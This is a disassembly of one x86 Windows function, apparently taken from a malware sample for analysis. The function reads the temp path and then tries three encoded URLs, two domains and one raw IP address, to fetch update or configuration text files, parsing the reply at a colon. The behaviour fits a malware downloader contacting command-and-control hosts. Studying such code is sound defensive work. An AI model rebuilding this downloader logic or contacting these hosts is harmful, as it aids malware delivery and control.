Function at 0x40200b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3528
call fcn.00402dd0
push edi
mov byte [ebp - 0x3528], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3527]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x2508], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x2404], 0
mov dword [ebp - 0x250c], 0
mov dword [ebp - 0x3114], 0
mov dword [ebp - 0x3118], 0
mov dword [ebp - 0x2510], 0
mov byte [ebp - 0x2400], 0
mov ecx, 0x8ff
xor eax, eax
lea edi, [ebp - 0x23ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3110], 0
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0x310f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x321c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x321b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3320], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x331f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3424], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x3528]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 5
lea ecx, [ebp - 0x2508]
push ecx
call fcn.004017b1
add esp, 8
lea edx, [ebp - 0x3528]
push edx
call fcn.00402920
add esp, 4
movsx eax, byte [ebp + eax - 0x3528]
cmp eax, 0x5c
je 0x402150
lea ecx, [ebp - 0x3528]
push ecx
call fcn.00402920
add esp, 4
mov byte [ebp + eax - 0x3527], 0x5c
lea edx, [ebp - 0x2508]
push edx
lea eax, [ebp - 0x3528]
push eax
call fcn.00402b10
add esp, 8
push 0x4077fc
lea ecx, [ebp - 0x3528]
push ecx
call fcn.00402b10
add esp, 8
lea edx, [ebp - 0x321c]
push edx
mov eax, dword [str.104116116112058047047119119119046105115115117101106101106117046099111109047114115115047114115115046116120116]
push eax
call fcn.00401280
add esp, 8
lea ecx, [ebp - 0x321c]
push ecx
call fcn.00402920
add esp, 4
cmp eax, 0xa
jbe 0x402271
push 0x2400
lea edx, [ebp - 0x2400]
push edx
lea eax, [ebp - 0x321c]
push eax
call fcn.00401326
add esp, 0xc
test eax, eax
jne 0x40226f
lea ecx, [ebp - 0x3320]
push ecx
mov edx, dword [str.104116116112058047047108105115116046098101115116120115115046099111109047117112103114097100101046116120116]
push edx
call fcn.00401280
add esp, 8
lea eax, [ebp - 0x3320]
push eax
call fcn.00402920
add esp, 4
cmp eax, 0xa
jbe 0x40226a
push 0x2400
lea ecx, [ebp - 0x2400]
push ecx
lea edx, [ebp - 0x3320]
push edx
call fcn.00401326
add esp, 0xc
test eax, eax
jne 0x402268
lea eax, [ebp - 0x3424]
push eax
mov ecx, dword [str.104116116112058047047049055052046049051057046054048046049049047117112100097116101046116120116]
push ecx
call fcn.00401280
add esp, 8
lea edx, [ebp - 0x3424]
push edx
call fcn.00402920
add esp, 4
cmp eax, 0xa
jbe 0x402263
push 0x2400
lea eax, [ebp - 0x2400]
push eax
lea ecx, [ebp - 0x3424]
push ecx
call fcn.00401326
add esp, 0xc
test eax, eax
jne 0x402261
jmp 0x40233e
jmp 0x402268
jmp 0x40233e
jmp 0x40226f
jmp 0x40233e
jmp 0x402276
jmp 0x40233e
call fcn.00401f4b
mov dword [ebp - 0x3118], eax
lea edx, [ebp - 0x2400]
push edx
call fcn.00402920
add esp, 4
cmp eax, 0x15
jae 0x40229a
jmp 0x40233e
lea eax, [ebp - 0x2400]
push eax
call fcn.00401fbf
add esp, 4
test eax, eax
jne 0x4022b2
jmp 0x40233e
lea ecx, [ebp - 0x3110]
push ecx
lea edx, [ebp - 0x2400]
push edx
call fcn.00401280
add esp, 8
push 0x3a
lea eax, [ebp - 0x3110]
push eax
call fcn.00402d10
add esp, 8
mov dword [ebp - 0x2404], eax
cmp dword [ebp - 0x2404], 0
je 0x40233e
mov ecx, dword [ebp - 0x2404]
mov byte [ecx], 0
lea edx, [ebp - 0x3110]
mov dword [ebp - 0x250c], edx
mov eax, dword [ebp - 0x2404]
add eax, 1
mov dword [ebp - 0x3114], eax
mov ecx, dword [ebp - 0x250c]
push ecx
call fcn.00402aaf
add esp, 4
mov dword [ebp - 0x2510], eax
mov edx, dword [ebp - 0x3118]
cmp edx, dword [ebp - 0x2510]
je 0x40233e
mov eax, dword [ebp - 0x2510]
push eax
call fcn.00401eff
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret